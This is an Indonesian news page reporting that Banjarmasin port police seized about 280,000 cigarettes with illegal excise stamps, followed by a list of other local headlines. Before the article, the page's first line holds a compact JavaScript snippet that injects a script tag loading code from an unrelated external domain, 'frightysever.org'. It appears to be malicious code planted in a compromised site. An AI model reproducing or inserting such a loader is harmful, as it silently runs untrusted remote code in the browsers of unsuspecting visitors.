(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ribuan Rokok Bercukai Ilegal Diamankan Polsek KPL Banjarmasin


BANJARMASIN, Jajaran Polsek Kawasan Pelabuhan Laut (KPL) Polresta Banjarmasin menyita dan mengamankan ribuan batang rokok yang menggunakan cukai ilegal. Rokok tersebut disita dari salah satu ekspedisi di kawasan Jalan Yos Sudarso RT34, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Selasa (17/7) siang sekitar pukul 12.00 Wita.

Kapolsek Kawasan Pelabuhan Laut, Kompol Susilawati dalam konferensi pers menyebutkan jajarannya mengamankan rokok yang diduga menggunakan pita palsu, dari salah satu ekspedisi di kawasan Jalan Yos Sudarso Banjarmasin.

Penyitaan ini berkat adanya informasi adanya pengiriman rokok yang diduga tanpa dilekati dengan pita cukai yang resmi setelah dilakukan pemeriksaan terhadap paketan di gudang salah satu ekspedisi.

Ditemukan 14 coly rokok merk L aris Brown yang dikemas dalam karungan warna putih setelah dilakukan pemeriksaan berisi rokok L aris Brown tanpa dilekati dengan bea cukai dengan surat jalan dengan no : 001566.

Kompol Susilawati, didampinggi Kanit Reskrimnya, Iptu Agus Adi Apriyoga, menambahkan dari penyitaan itu, beberapa merek rokok yang disita, seperti 7 coly rokok merk L aris Brown terdiri dari 1 coly berisi 2 karton, 1 karton isi 2 kotak, 1 kotak isi 20 slop, 1 slop berisi 10 bungkus dan 1 bungkus berisi 20 batang dengan total 112.000 batang rokok, 7 coly yang berisi rokok merek L aris Brown terdiri dari 1 coly berisi 3 karton, 1 karton isi 2 kotak, 1 kotak berisi 20 slop, 1 slop berisi 10 bungkus dan 1 bungkus berisi 20 batang dengan total 168.000 batang

“Tentang tindak pidana setiap orang yang menawarkan, menyerahkan,menjual atau menyediakan untuk dijual barang yang kena cukai yang tidak dikemas untuk penjualan eceran atau tidak dilekati pita cukai, sebagaimana dimaksud dalam pasal 54 UU RI NO 39 tahun 2007 tentang Cukai,” jelasnya. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

8 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

13 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

13 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.